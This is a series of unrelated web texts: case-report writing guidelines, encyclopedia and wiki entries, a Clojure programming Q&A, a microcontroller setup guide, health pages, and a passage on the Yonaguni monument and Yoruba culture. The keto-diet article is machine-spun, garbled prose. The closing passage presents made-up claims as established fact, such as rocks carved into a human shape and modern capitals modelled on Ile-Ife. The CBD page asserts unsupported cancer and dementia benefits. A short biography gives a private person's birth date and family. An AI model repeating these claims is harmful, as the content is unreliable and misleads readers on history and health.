The CARE guidelines for case reports help authors reduce bias, increase transparency, and provide early signals of what works, for which patients, and under which circumstances. Case reports following the CARE guidelines support the systematic measurement of:
The return on investment (ROI) in healthcare, tracking costs associated with outcomes.
Clinician and patient assessed outcomes.
The effectiveness of clinical practice guidelines (CPGs).
Title – The area of focus and “case report” should appear in the title
Key Words – Two to five key words that identify topics in this case report Abstract – (structure or unstructured) Introduction – What is unique and why is it important? The patient’s main concerns and important clinical findings. The main diagnoses, interventions, and outcomes. Conclusion—What are one or more “take-away” lessons? Introduction – Briefly summarize why this case is unique with medical literature references. Patient Information De-identified demographic and other patient information. Main concerns and symptoms of the patient. Medical, family, and psychosocial history including genetic information. Relevant past interventions and their outcomes. Clinical Findings – Relevant physical examination (PE) and other clinical findings. Timeline – Relevant data from this episode of care organized as a timeline (figure or table). Diagnostic Assessment Diagnostic methods (PE, laboratory testing, imaging, surveys). Diagnostic challenges. Diagnostic reasoning including differential diagnosis. Prognostic characteristics when applicable. Therapeutic Intervention Types of intervention (pharmacologic, surgical, preventive). Administration of intervention (dosage, strength, duration). Changes in the interventions with explanations. Follow-up and Outcomes Clinician and patient-assessed outcomes when appropriate. Important follow-up diagnostic and other test results. Intervention adherence and tolerability (how was this assessed)? Adverse and unanticipated events. Discussion Strengths and limitations in your approach to this case. Discussion of the relevant medical literature. The rationale for your conclusions. The primary “take-away” lessons from this case report. Patient Perspective – The patient can share their perspective on their case. Informed Consent – The patient should give informed consent.
https://www.care-statement.org/
Introduction.
Writing a case report accurately and transparently may be easier if written in a different sequence than when it is published.
First: Clearly identify the message you wish to communicate.
Is this case report about an outcome, a diagnostic assessment, an intervention, a new or rare disease, etc.?
Second: Create a timeline of your case report—a visual summary of the case report (see examples of timelines that follow the CARE guidelines).
Third: Complete the remainder of the case report using specialty-specific information if necessary with appropriate scientific clarification.
Write the abstract last.
Patient information should be de-identified and informed consent obtained prior to submitting your case report to a journal. If the patient is a minor or unable to give informed consent seek consent from a close relative.
1. Develop a descriptive and succinct working title that describes the phenomenon of greatest interest (symptom, diagnostic test, diagnosis, intervention, outcome).
2. Create a timeline as a chronological summary of an episode of care as a figure or table. This should begin with antecedents and past medical history through the outcome. Examples are available on the CARE website.
3. Narrative of the episode of care (including tables and figures as needed.) - The presenting concerns (chief complaints) and relevant demographic information. - Clinical findings describe the relevant past medical history, pertinent co-morbidities, and important physical examination (PE) findings. - Diagnostic assessments discuss (1) diagnostic tests and results; (2) differential diagnoses; and (3) the diagnosis. - Therapeutic interventions describe the types of intervention (pharmacologic, surgical, preventive, lifestyle) and how the interventions were administered (dosage, strength, duration and frequency). Tables or figures may be useful. - Follow-up and outcomes describes the clinical course of the episode of care including (1) follow-up visits, (2) intervention modification, interruption, or discontinuation; (3) intervention adherence and how this was assessed; and (4) adverse effects or unanticipated events. Regular patient report outcome measurement surveys at such as PROMIS® may be helpful.
- 1. The introduction should briefly summarize why this case report is important and cite the most recent CARE publication. (Gagnier JJ, Kienle G, Altman DG, Moher D, Sox H, Riley D, et al. The CARE Guidelines: Consensus-based Clinical Case Reporting Guideline Development. Glob Adv Health Med. 2013 Sep;2(5):38-43)
2. The discussion describes case management, including strengths and limitations with scientific references.
3. The conclusion offers the most important findings from the case. 1. Abstract. Briefly summarize in a structured or unstructured format the relevant information without citations. Do this after writing the case report.
Information should include:
(1) Background, (2) Key points from the case; and (3) Main lessons to be learned from this case report.
2. Key Words. Provide 2 to 5 key words that will identify important topics covered by this case report.
3. References. Appropriately chosen references from the peer-reviewed scientific literature.
4. Acknowledgements. A short acknowledgement section should mention funding support.
5. Informed Consent. The patient should provide informed consent and the author should provide this information if requested. Rarely, additional approval may be needed.
6. Appendices. If indicated. Submission to a scientific journal Follow journal submission requirements when writing and submitting your case report. You may wish to contact the journal before submitting your manuscript if you have any questions. (Download a partial list of Journals that accept case reports.) Remember that journals that do not explicitly accept case reports may publish case reports as components of other articles such as brief reports or hypotheses. WRITING A CASE REPORT Part 1 — Working Title, Timeline, Patient Narrative Part 2 — Introduction, Discussion (including limitations), Conclusion Part 3 – Abstract & Key Words, References, Acknowledgement, Informed Consent, Appendices
• care_guidelines.txt
• Last modified: 2022/08/24 18:44
• by 127.0.0.1
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ESSENTIALAI-STEM
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User:Kathukyabrian
Brian Kathukya is a Kenyan citizen born to Julius Kathukya and Catherine Lydia. He was born on August 31 2000 at Kitui.
He is a brother to Peter Kioko, Michael Mutuku and Judith Nthenya.
He attended Kalulini Primary School in Kitui for preschool upto standard 3 and later joined Kanginga Oasis Academy from standard 4 upto Standard 8.
He did KCPE and attained 391 marks out of a possible 500 and joined Njiiri School the following year upto November 29 2017.
He scored a B+ in KCSE and is set to join Maseno University on September 3rd 2018 for a course leading to award of bachelor's degree in computer science.
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Garcinia livingstonei
Garcinia livingstonei (African mangosteen, lowveld mangosteen, Livingstone's garcinia or imbe) is a species of Garcinia, native to a broad area of tropical Africa, from Côte d'Ivoire east to Somalia, and south to South Africa.
It is an evergreen small tree, growing to 6–18 m tall. The leaves are borne in opposite pairs or whorls of 3–4, each leaf blue-green, oval, 6–11 cm long and 3–5.5 cm broad. The flowers are produced in clusters on the stems. The fruit is a small, bright, orange, thin-skinned berry 1–4 cm diameter, with one single large seed; the small yield of edible fruit is pleasantly sweet, yet acidic, but also containing a latex that some people find unpleasant.
Cultivation and uses
A traditional food plant in Africa, this little-known fruit has potential to improve nutrition, boost food security, foster rural development and support sustainable landcare.
It is mainly grown as an ornamental fruit, but is sometimes eaten. The juice is known for staining very badly. Mostly eaten fresh, it is also used in drinks. It can be grown in southern Florida.
Both a male and female plant are needed in order to obtain fruit, although both sexes can be grafted onto the same plant to achieve the same effect.
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TAGS :Viewed: 2 - Published at: a few seconds ago
[ Grouping words and more ]
I'm working on a project to learn Clojure in practice. I'm doing well, but sometimes I get stuck. This time I need to transform sequence of the form:
[":keyword0" "word0" "word1" ":keyword1" "word2" "word3"]
into:
[[:keyword0 "word0" "word1"] [:keyword1 "word2" "word3"]]
I'm trying for at least two hours, but I know not so many Clojure functions to compose something useful to solve the problem in functional manner.
I think that this transformation should include some partition, here is my attempt:
(partition-by (fn [x] (.startsWith x ":")) *1)
But the result looks like this:
((":keyword0") ("word1" "word2") (":keyword1") ("word3" "word4"))
Now I should group it again... I doubt that I'm doing right things here... Also, I need to convert strings (only those that begin with :) into keywords. I think this combination should work:
(keyword (subs ":keyword0" 1))
How to write a function which performs the transformation in most idiomatic way?
Answer 1
what about that:
(defn group-that [ arg ]
(if (not-empty arg)
(loop [list arg, acc [], result []]
(if (not-empty list)
(if (.startsWith (first list) ":")
(if (not-empty acc)
(recur (rest list) (vector (first list)) (conj result acc))
(recur (rest list) (vector (first list)) result))
(recur (rest list) (conj acc (first list)) result))
(conj result acc)
))))
Just 1x iteration over the Seq and without any need of macros.
Answer 2
Here is a high performance version, using reduce
(reduce (fn [acc next]
(if (.startsWith next ":")
(conj acc [(-> next (subs 1) keyword)])
(conj (pop acc) (conj (peek acc)
next))))
[] data)
Alternatively, you could extend your code like this
(->> data
(partition-by #(.startsWith % ":"))
(partition 2)
(map (fn [[[kw-str] strs]]
(cons (-> kw-str
(subs 1)
keyword)
strs))))
Answer 3
Since the question is already here... This is my best effort:
(def data [":keyword0" "word0" "word1" ":keyword1" "word2" "word3"])
(->> data
(partition-by (fn [x] (.startsWith x ":")))
(partition 2)
(map (fn [[[k] w]] (apply conj [(keyword (subs k 1))] w))))
I'm still looking for a better solution or criticism of this one.
Answer 4
First, let's construct a function that breaks vector v into sub-vectors, the breaks occurring everywhere property pred holds.
(defn breakv-by [pred v]
(let [break-points (filter identity (map-indexed (fn [n x] (when (pred x) n)) v))
starts (cons 0 break-points)
finishes (concat break-points [(count v)])]
(mapv (partial subvec v) starts finishes)))
For our case, given
(def data [":keyword0" "word0" "word1" ":keyword1" "word2" "word3"])
then
(breakv-by #(= (first %) \:) data)
produces
[[] [":keyword0" "word0" "word1"] [":keyword1" "word2" "word3"]]
Notice that the initial sub-vector is different:
• It has no element for which the predicate holds.
• It can be of length zero.
All the others
• start with their only element for which the predicate holds and
• are at least of length 1.
So breakv-by behaves properly with data that
• doesn't start with a breaking element or
• has a succession of breaking elements.
For the purposes of the question, we need to muck about with what breakv-by produces somewhat:
(let [pieces (breakv-by #(= (first %) \:) data)]
(mapv
#(update-in % [0] (fn [s] (keyword (subs s 1))))
(rest pieces)))
;[[:keyword0 "word0" "word1"] [:keyword1 "word2" "word3"]]
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What is an algorithmic approach to evaluation of pressure injuries (pressure ulcers)?
Updated: Mar 26, 2020
• Author: Christian N Kirman, MD; Chief Editor: John Geibel, MD, MSc, DSc, AGAF more...
• Print
Answer
Evaluation of a patient with an infected wound should follow an algorithmic approach. The following questions should be asked:
• Is the infection local (rubor, dolor, calor) or systemic (fever, tachycardia, hypotension, delirium, altered mental status)?
• Which antibiotic is most appropriate for the patient?
• Does the patient have any known allergies?
• Does the patient have any metabolic impairments that would alter the pharmacokinetics or pharmacodynamics of the drug?
• What are the effects of the drug on the hematopoietic system?
• What attributes does the drug possess for effective tissue penetration (ie, how much of the drug actually ends up in the tissue of interest)?
• How is the drug metabolized?
• What are the patient’s total weight and lean body and fat mass?
Did this answer your question?
Additional feedback? (Optional)
Thank you for your feedback!
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What Occurs To Your Physique If You Start The Keto Food Plan, The High
His newest book is Keto for Life, the place he discusses how he combines the keto diet with a Primal life-style for optimal health and longevity. Mark is the creator of quite a few different books as well, together with The Primal Blueprint, which was credited with turbocharging the growth of the primal/paleo motion back in 2009. Low-carb diets are still extremely popular, with adults raving in regards to the South Beach food regimen, the Atkins food regimen, and the plethora of packaged foods which are out there as “low carb” options. You don’t need to know an entire lot about Atkins to understand that it isn’t like Paleo. But it does assist to a minimum of have a rough thought of what you’re talking about – and studying about other diets may even provide you with an opportunity to study one thing new. Obviously, not all diets are equally healthy, but most of them have one thing priceless to show us . Three out of four of the individuals who accomplished the diet had a major elevation of their complete cholesterol and LDL.
Well Being And Wellness
This was an expected finding primarily based on bigger research of sufferers on the modified atkins food regimen. Further long-term research are needed to establish cardiovascular security of this food plan due to potential benefits for a variety of situations. This is the primary prospective clinical research on a low-carbohydrate food regimen for youngsters with Prader-Willi Syndrome. Compliance to the food regimen was difficult for two out of seven of our members, however the remainder found the MAD very possible. Only one participant had a weight lack of 2.9 kg through the 4-month food regimen interval. However, BMI z-scores improved for 3 out of the four members, reducing by average of zero.21 factors for every participant.
atkins diet
Phase Two
Brown says the third stage allows you to improve your carb consumption by 10 grams per week until you degree out at around grams of carbs per day. However, others can go up to one hundred grams of carbs per day relying on their weight reduction targets. The major difference between the keto food plan and the Atkins diet lies within the reason why every food plan was initially created.
The keto food regimen—which is brief for ketogenic—was initially popularized as a therapy for epilepsy within the Nineteen Twenties and 30s, not a weight loss program. The two diets are simple to confuse because they each are low carb diets and each can allow the physique to enter into a state of ketosis. Sharon Brown, clinical nutritionist and founder of frozen bone broth firm Bonafide Provisions and Maryann Walsh, MFN, RD, CDE clarify how the keto and Atkins diet actually differ. If people want to know the reality about good nutrition, they merely need to look at the world picture. Populations following high-carbohydrate, low-fats, lower-protein diets, like these from traditional Asian and African countries are trim for a lifetime and avoid all of the diseases frequent to people who comply with the Western diet. The Atkins food plan is simply an exaggeration of the unhealthy Western food regimen to a level that makes people sufficiently sick to lose their urge for food. Mark Sisson is the founder of Mark’s Daily Apple, godfather to the Primal food and lifestyle movement, and the New York Times bestselling writer of The Keto Reset Diet.
“The keto food regimen is favorable for individuals who want to enter the state of ketosis and reap the advantages of it beyond weight loss,” says Walsh. Ultimately, each diets are efficient for weight reduction, it just comes right down to what you wish to achieve from the food regimen. Walsh says the principle focus of the Atkins food regimen is limiting carbs without proscribing protein as a lot as somebody following the keto diet. As a end result, though, it makes it troublesome for someone following the Atkins food plan to remain in ketosis as % of the protein turns into glucose .
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ESSENTIALAI-STEM
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Wikipedia:Articles for deletion/Elijah Silva
The result was speedy deleted by User:Bbb23 per CSD A7, "Article about a real person, which does not credibly indicate the importance or significance of the subject". N ORTH A MERICA 1000 06:32, 14 February 2015 (UTC)
Elijah Silva
* – ( View AfD View log Stats )
Unotable actor-not sure if this is even the same guy on the IMDB given the fact that this isn't that uncommon of a name. Wgolf (talk) 03:06, 14 February 2015 (UTC)
* Note: This debate has been included in the list of Actors and filmmakers-related deletion discussions. Everymorning talk 03:09, 14 February 2015 (UTC)
* Delete Minor actor. Acticle lacks adequate sources.John Pack Lambert (talk) 04:10, 14 February 2015 (UTC)
* Delete. I'm actually sort of supportive of a speedy deletion of this since he hasn't had any overly notable role and most importantly, the bio on the article is fairly close to being a BLP violation with the comments about acting out and fighting. Not only is this unsourced, but it also somewhat puts the guy in a fairly poor light. But aside from that, the guy simply isn't notable. None of his roles are notable nor are any of the things he's been in. Tokyogirl79 (｡◕‿◕｡) 04:43, 14 February 2015 (UTC)
* -Comment-I was thinking of putting a speedy myself. I'm not even sure if this is the same guy who is in those films given the articles content to be honest. Though maybe wait about a week to see what happens I think. Wgolf (talk) 04:45, 14 February 2015 (UTC)
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WIKI
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Kartal Surp Nişan Armenian Orthodox Church
Kartal Surp Nişan Armenian Church (Holy Cross Armenian Church) is an Armenian Church located in Kartal Municipality, Istanbul. The facility was built in the 16th century as a chapel. It collapsed and was rebuilt as a school and church in 1776.
Since 1857, the church was renewed. It has been in service since 1 September 1857.
The church is a property of Kartal Surp Nişan Armenian Church and School Foundation.
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WIKI
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Categories
Allgemein
Getting Started with the nRF52840 DK
Introduction
Getting started to work with the NRF52840 this semester has been more challenging than expected. This post should clear up the most commonly encountered pitfalls when setting up a development environment. This will hopefully also help others facing similar issues.
Setup
Hardware setup:
• Mac
• Micro-USB 2.0 cable
Software setup:
• MacOS
• SEGGER J-Link Software
You can download the SEGGER J-Link Software utile on the official website and follow the setup instructions of the wizard.
For this post a Mac with macOS Catalina v. 10.15.1. was used.
Getting Started
For getting started, the NRF52840 Devkit User Guide was used to take the first steps.
First, some required applications should be downloaded and set up.
1. For this purpose, we are using Visual Studio Code. You can obtain this software on the website and download it.
2. Used compiler: GNU/GCC. Follow this instruction to set it up.
1. Download the file:
gcc-arm-none-eabi-9-2019-q4-major-mac.tar.bz2
2. Unzip file
tar -tf gcc-arm-none-eabi-9-2019-q4-major-mac.tar.bz2
3. Make a directory to install it:
mkdir /usr/local/gcc_arm
4. Move the unzipped file
sudo mv ~/Downloads/gcc-arm-none eabi-9-2019-q4-major/ /opt/local/gcc_arm
5. Check the directory
ls /opt/local/gcc_arm/arm-none-eabi/
6. echo current path variable
echo $PATH
7. Add this path also to ./profile so that you don’t have to add this line to the path every time:
vi ~/.profile
export PATH="$PATH:/usr/local/gcc_arm/bin/"
8. Check if everything was successful
arm-none-eabi-gcc --version
3. The next step is to download the Software Development Kit (SDK). For this semester project version 16.0.0 has been used (take a look here).
Simply download the zip file and extract it where you want to set up your workspace.
Now that we have everything we need, we can actually start testing the development kit. Let’s start with the precompiled Blinky example. Therefore, follow these steps.
1. Connect the boards to the computer with a USB cable.
2. Make sure that the power switch is set to “on”.
3. In the SDK directory open the Blinky example
examples\peripheral\blinky
4. In the hex folder, you find all the precompiled hex files. For the NRF52840 you choose blinky_pca10056.hex
5. Now you can copy the hex file to the board.
1. Therefore, open the finder.
2. Now go to the _build folder and copy the hex file.
3. As you can see in the picture below, you will find the “JLINK” driver under “Locations”. Open that folder and insert the hex file.
4. The board will now restart and run the application.
6. Finally, you should be seeing the blinking leds.
Of course, instead of just flashing binaries onto the target board it is essential to understand how to compile the source code. In order to compile a project, follow these steps for the blinky example.
1. First, open the Makefile which is in the folder \blank\armgcc
2. On the row 129 change Makefile.common to Makefile.posix
3. Open the Makefile.posix file and change the path and version
4. Now open the terminal in the …\armgcc folder and run the command make
5. Now you got a _build folder and you will find the right hex file in there. According to point 5 from the precompiled blinky example you can copy this file to your board.
The benefit of using the blinky example for this guide is that you do not have to deal with the softdevice. The softdevice contains functionality for the BLE stack (and other functionality) and is proprietary and thus only exists in binary form.
Some examples require the softdevice. For those examples you find the softdevice numbered folder in the pca10056 folder. In most cases where you need the BLE Stack, you will need to flash softdevice s140. In order to do so, open the terminal in the folder containing the makefile and run the command make flash_softdevice.
Hopefully, this post has helped you getting started on your own project. Let me know in the comments if it was helpful to you.
Leave a Reply
Your email address will not be published. Required fields are marked *
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ESSENTIALAI-STEM
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Reality: Hemp oil is an increasingly popular product, used for an expanding variety of purposes. The washed hemp seed contains no THC at all. The tiny amounts of THC contained in industrial hemp are in the glands of the plant itself. Sometimes, in the manufacturing process, some THC- and CBD-containing resin sticks to the seed, resulting in traces of THC in the oil that is produced. The concentration of these cannabinoids in the oil is infinitesimal. No one can get high from using hemp oil.
RSHO™ CBD hemp oil is available in four varieties of high-quality, pure cannabidiol oil, including Green Label, Blue Label, Gold Label, and Special Blend. RSHO™ contains between 50mg and 190mg of cannabidiol per 0.5 gram serving. Each of the pure CBD hemp oil varieties come in 3 gram and 10 gram applicators. For regular users, 3 packs and 6 packs of applicators are available.
Consuming the right ratio of omega-6 to omega-3 fatty acids is important because it helps various bodily systems function better. The 3-1 or 2-1 ratio may help reduce inflammation in people with inflammatory diseases, and even slightly higher ratios at around 5-to-1 may be helpful for people with asthma. In contrast, ratios around 10-to-1 start producing negative effects on your health.
CBD oil and cannabis oil are both known to reduce the symptoms and side effects of cancer. The presence of both THC and CBD helps in relieving the pain associated with cancer. According to research done by Hansen M., Medical University of Vienna, Vienna, Austria, it also provides relief from the side effects of chemotherapy including nausea, vomiting, and anxiety.
The country is Africa incense. Since ancient times, incense was used to religious purposes by the effects caused by their smell to burn incense scents the temple, relaxes the mind of those present and induces receptive state and also disinfects the air. To produce the oil of frankincense resin used this enigmatic tree.Known as the ‘Mother’ of all essential oils, Frankincense is considered sacred in the Middle East. It improves the mood and relieves stress. Exceptionally good for the respiratory, nervous, and immune systems. Widely used in skin-care treatments.
Word of Caution: Although this list clearly shows that cannabis essential oil can be an effective remedy for many common health conditions, it is still a potent chemical substance extracted from a plant with psychotropic substances. Therefore, you should always be very careful while using such an essential oil, including the amount you use and the conditions under which you use it. Speak to a professional about mixing essential oils and present medications before adding any new elements to your health regimen. Also, the use of cannabis is restricted/banned in many countries, so consult a local health specialist before use.
Pure hemp cannabidiol oil can be consumed directly as a nutritional supplement. Over the years, great advances in CBD hemp oil product development have led to what are now dozens of different types of CBD hemp oil products, including capsules, drops, and even chewing gum. Concentrated pure CBD hemp oil can also be infused into skin and body care products and used topically.
Cannabis oil also posses antioxidant properties. This property makes cannabis oil useful in the treatment and prevention of wide variety of diseases, such as ischemic, age-related inflammatory and autoimmune diseases. Cannabis oil may also have a use as neuroprotectants for such things like limiting neurological damage following a stroke or head trauma. It can also be used in the treatment of neurodegenerative diseases such as Alzheimer's disease, Parkinson's disease and HIV dementia.
Another common side effect that hemp oil can cause in supplement users involves the cardiac system and bloodstream. As the PeaceHealth website states, hemp oil products can directly affect the anticoagulant properties of platelets within the blood, often inhibiting their very production. As a result, patients who are currently being treated for a blood clotting deficiency or other cardiac medical condition are strongly advised to stay away from hemp oil supplements of any kind due to possible symptom complications.
Hemp oil comes from cannabis, specifically Cannabis sativa. This is a common type of the marijuana plant, so hemp oil and marijuana oil may often be confused for the same product. However, hemp oil is a healthy, nutty-flavored oil that can be easily integrated into your cooking. Hemp oil is considered so nutritious that it is often used in animal feed to improve the nutritional quality of meats.
A survey led by the McGill University Health Centre in Canada revealed that cannabis use results in an improvement in non-cancer pain, sleep, and mood patterns. In the same survey, it also revealed that ‘high’ and dry mouth were the most commonly reported side effects. People who suffer from cancer also turn to cannabis-related options, including therapeutic grade CBD oil, when the pain of chemotherapy or the disease itself becomes unbearable.
Pure undiluted cannabis essential oil is a green concentrated, sticky, resinous substance that is considered highly volatile. Its components are very powerful, including monoterpenes, sesquiterpenes, and other highly active organic compounds. It is extracted by steam distillation from the flowers and upper leaves of cannabis plants, which are in the Cannabis genus. The essential oil is primarily made and distributed from France and various other European countries, but its exportation is somewhat limited by, as mentioned above, the legal ramifications of what cannabis essential oil is derived from.
The average drug test typically screens for a level of about 50 ng/mL of THCA (the metabolite of THC that would be present in your urine after taking cannabis). People consuming moderate amounts of hemp oil prior to tests have shown levels as high as 49 ng/mL of THCA, and it is possible to test false-positive for cannabis use when consuming large amounts.
Disclaimer: While we work to ensure that product information is correct, on occasion manufacturers may alter their ingredient lists. Actual product packaging and materials may contain more and/or different information than that shown on our Web site. We recommend that you do not solely rely on the information presented and that you always read labels, warnings, and directions before using or consuming a product. For additional information about a product, please contact the manufacturer. Content on this site is for reference purposes and is not intended to substitute for advice given by a physician, pharmacist, or other licensed health-care professional. You should not use this information as self-diagnosis or for treating a health problem or disease. Contact your health-care provider immediately if you suspect that you have a medical problem. Information and statements regarding dietary supplements have not been evaluated by the Food and Drug Administration and are not intended to diagnose, treat, cure, or prevent any disease or health condition. Amazon.com assumes no liability for inaccuracies or misstatements about products. cannabidiol
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ESSENTIALAI-STEM
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Page:Lake Ngami.djvu/497
Rh forbidding and appalling, and I am not surprised to hear of people losing their presence of mind on being suddenly brought into contact with the monster, whose horrible jaws, when fully distended, afford ample accommodation for a man.
The size of the H. amphibius is enormous. The adult male attains a length of eleven or twelve feet, the circumference of its body being nearly the same. Its height, however, seldom much exceeds four and a half feet. The female is a good deal smaller than the male, but in general appearance the sexes are nearly alike.
The following dimensions of the female hippopotamus at the Zoological Gardens, Regent's Park, may enable those who are curious in the matter to form some notion of the progressive growth of the animal—at least in a state of confinement—when young:
The hippopotamus, when in the water—I won't say its "native element," for it seems to belong as much to the land as the deeps—swims and dives like a duck, and, considering its great bulk and unwieldiness of form, in a manner perfectly astonishing. When on terra firma, however, what with its dumpy legs and the weight they have to support, its progress is any thing but rapid.
Even were the beast to charge—provided the locality was tolerably open—a man would have no great difficulty in getting out of his way. It is seldom met with at any
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WIKI
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Wikipedia:Requests for checkuser/Case/Redspork Friend001
''The following discussion is preserved as an archive of a Request for checkuser. Please do not modify it .''
Redspork Friend001
* Code letter:G
* Code letter:G
* Code letter:G
* Code letter:G
* Code letter:G
Requesting checkuser to clear the above users from suspicion in obvious sock Redspork Friend001's pointed vandalism of House10902's user page. User:CambridgeBayWeather blocked the account, though, so perhaps this is academic. Amerique dialectics 05:33, 31 December 2007 (UTC)
* Redspork02 has left messages here: and here saying he was not associated with this sock and that he suspects House10902 of doing this. As House10902 is a "reformed account" of known sockpuppeter User:House1090, it may seem likely that he would have done this himself, but it also would be easy for anyone he pissed off recently to try to "frame" him this way as well. So, if the puppetmaster is on this list, this checkuser can confirm that or possibly clear all of the above from suspicion. Amerique dialectics 16:05, 31 December 2007 (UTC)
* Category:Suspected Wikipedia sockpuppets of House1090 is relevent here I think. I would like to see this go ahead so we can clear up the issue of Redspork Friend001 being a sock of either House or Redspork. CambridgeBayWeather (Talk) 17:45, 31 December 2007 (UTC)
* Iam here to clear my name from all this, My user name is Redspork02:\Red is my favorite color, Spork is my nickname and 02 is the year I graduated. I know of no others on this site with the same user name as that I use (Redspork) and this is my only account.
User:House1090, User:House10902 and possibly User:Ie909 has been changing various titles and articles regarding the I.E. as you have learned and tried to lock me out from editing, he is becoming a nucense. I believe in order to enact some vengence for not letting him change certain article's, he has created User:Redsporkfriend001 to try to make it seem like its me! I do my best to follow the rules on WikiPedia, and I have done nothing wrong. Please clear my name! Here is a link of what he did, as you know: --Redspork02 (talk) 18:38, 31 December 2007 (UTC)
* ✅ - how bizarre. It's exactly as User: Redspork02 indicates - A l is o n ❤ 19:47, 31 December 2007 (UTC)
* Thanks Alison. I left a note on the target's talk page. Amerique dialectics 20:08, 31 December 2007 (UTC)
''The above discussion is preserved as an archive of the Request for checkuser. Please do not modify it. Subsequent requests related to this user should be made above, in a new section.''
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WIKI
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Kattel
Kattel (कट्टेल) is a surname belonging to the people of either Upadhya the Brahmins Bahun caste from Nepal. The Brahmins write Kattel.
Notable people with the surname Kattel include:
* Rishi Kattel, Nepali politician
* Sitaram Kattel, Nepalese actor
In Estonia
* Rainer Kattel, Estonian academic and science administrator
Fictional Usage
* Basudev Kattel, Main protagonist from novel Kattel Sarko Chotpatak (translation: Kattel Sir's Injuries)
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WIKI
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Your Children and Vaccines
There is no better way to protect children from infectious diseases than with vaccines recommended by the Centers for Disease Control (CDC), family physicians, and pediatricians around the country. For decades, children’s lives have been saved from deadly diseases by simply following a vaccine schedule.
However, in 1998, there was a dubious report published in The Lancet, a well-respected medical journal, about vaccines (most notably that the popular MMR vaccine had links to autism). The report has since been widely rejected by doctors everywhere, and proven to be based on falsified research. Yet many families still are hesitant to vaccinate their children and have questions about vaccines in general.
We hope the following will answer some of these questions and dispel any fears so that you’ll take steps to protect your children.
What’s the final word about the vaccine controversy?
After British doctor Andrew Wakefield published his shocking report that claimed a link between the MMR vaccine and autism, other researchers could not replicate his findings. It was also revealed that not only did Dr. Wakefield use false data in his research, but that he had conducted unnecessary procedures on children who already had autism. The Lancet retracted the report and Dr. Wakefield was banned from practicing medicine in the UK. To date, there has never been any link seen between the MMR vaccine and autism in any credible medical research.
Why do vaccines start at such an early age?
The immune systems of infants and young children are not yet fully developed to effectively combat diseases. Vaccines early in life help strengthen immune systems against conditions that could threaten the health, or even life, of children.
Can vaccines make you sick?
The vaccines on the CDC-approved vaccine schedule cannot cause the illness that they protect against. While the flu vaccine can cause mild flu-like symptoms, it cannot actually give you the flu. In fact, these symptoms are a positive sign. They indicate that the vaccine is working to build up immunity. Side effects such as injection site swelling or a low-grade fever usually go away after a few days. They are a small price to pay for the protection that the vaccine provides.
Why do children need more than one dose of a vaccine?
Some vaccines need more than a single dose to build immunity against a disease. In addition, a vaccine’s protection can fade over time and must be built back up by several doses.
Do I need to have my child vaccinated if other children are getting vaccinated?
Yes. There is no way of knowing if everyone your child comes in contact with is up to date on vaccines. It is better to be safe than to risk exposure to someone who could be carrying a contagious disease. Also, in the event of an outbreak in your community, your child will be less likely to contract the disease if they have been vaccinated.
There are so many vaccinations. Can I stretch them over a longer period of time?
It’s true that there are many vaccines recommended for young children. However, the vaccine schedule is based on disease risks and vaccine strength at specific ages for children, and on how the vaccines may interact with each other. Extending the time between vaccines could put your child at greater risk for certain diseases. It is recommended that you stay as close as possible to the CDC’s schedule.
Conclusion
Despite doubts among some families in the wake of the now widely debunked report, you should feel completely safe about vaccines. You’re not only protecting your child but also helping to safeguard the health of other children in your area. If you have questions, talk to your family physician or pediatrician, who can provide the information you need to be confident about your child’s vaccines.
Charles Sow
Charles Sow
Specializes in Family Medicine
Learn more about Dr. Sow.
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ESSENTIALAI-STEM
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Timothy Richings
Timothy 'Tim' William Richings (born 21 August 1962) is a former English cricketer. Richings was a right-handed batsman who bowled right-arm medium pace.
In 1992, Richings made his debut for Dorset in the 1992 Minor Counties Championship against Shropshire. From 1992 to 1998, Richings played 46 Minor County matches for Dorset, with his final match for the county coming against Staffordshire in the final of the 1998 Minor Counties Championship which ended in a draw.
In his debut season, Richings also made his debut and his List-A debut for Dorset against Hampshire in the 1st round of the 1992 NatWest Trophy, where on debut he scored his only List-A half century with a score of 74*. From 1992 to 1998 he represented Dorset in 4 List-A matches, with his final match coming against Hampshire in the 1st round of the 1998 NatWest Trophy.
In his 4 List-A matches for the county he scored 128 runs at a batting average of 42.66.
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WIKI
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Masaaki Kimura was the first scientist to explore the Yonaguni monument following its discovery. He came to the conclusion that the building was man-made. Subsequent research has largely supported this finding.
The ancient monument is a group of seven large rocks in the ocean off the coast of Yonaguni, Okinawa Prefecture, Japan. The rocks are thought to be remnants of an island chain that once extended far beyond what is now known about it. They are believed by some scientists to be evidence of an early human settlement in Asia. However, other scientists believe that they were caused by volcanic activity or even meteor strikes.
Researchers have used different methods to analyze the rock structure and material composition of the Yonaguni stones. All have concluded that they were shaped by human tools into the shape of a man. One study that analyzed the chemical composition of the rocks determined that they were similar to those found in Taiwan's Taroko Gorge, which had been created by ancient humans. This suggests that the people who made the Yonaguni stones were not isolated from mainland Asia but may have had contact with others members of the Asian population.
However, researchers have also found evidence that points to the idea that the stones were moved to their current location.
This gigantic 50m-long by 20m-wide monster, known now as the Yonaguni Monument, is one of the world's most remarkable underwater locations. The rectangular, piled pyramid-like edifice, dubbed "Japan's Atlantis," is thought to be more than 10,000 years old. It was discovered in 1986 by a team of Japanese archaeologists, who were investigating the coastline near the city of Yonaguni on the island of Okinawa. The pyramid is made of sandstone, and measured to have been constructed by piling large rocks onto each other.
The pyramid is said to be the burial site of an ancient civilization that may have been the first in Japan. Analysis of the rock strata surrounding the monument has revealed that it was built during two different periods - 6500 to 5000 BC and 4000 to 3000 BC. The researchers believe that it may be the site where ancient peoples buried their dead en masse. This might explain why there are no remains of animals or plants that could indicate what kind of culture existed at the time of the pyramid's construction.
What makes the Yonaguni Monument so special? It is larger than anything else found in Japan, and also resembles those found in Egypt and Peru. The pyramid is believed to be a religious monument that may have been used for ceremonial purposes. It is estimated to be about 10,000 years old, which makes it older than many civilizations on land.
The Yoruba have long been among Africa's most accomplished and industrious craftspeople. They engaged in blacksmithing, weaving, leatherworking, glassmaking, and ivory and wood carving, among other things. Yoruba art is known for its beauty and variety.
Yoruba culture also had a profound influence on music, dance, theater, and literature across Africa and the world. Modern artists who have been influenced by Yoruba art include Pablo Picasso, Henri Matisse, Cezanne, Jean-Michel Basquiat, and Andy Warhol.
In addition to these artists, Yoruba architecture has been influential as well. Ancient Yoruba cities like Ile-Ife were sprawling metropolises with walled neighborhoods and wide streets lined with trees. Modern cities around the world have adopted some of this design for their own central districts. Examples include Washington, D.C.; London; and New York City.
Yoruba spirituality focuses on the importance of individual piety and faith in God. However, they also believe in the power of ritual and ceremony to bless people and objects with energy.
Because Christianity came to Nigeria along with colonialism, many Nigerian Christians do not practice or appreciate Yoruba rituals.
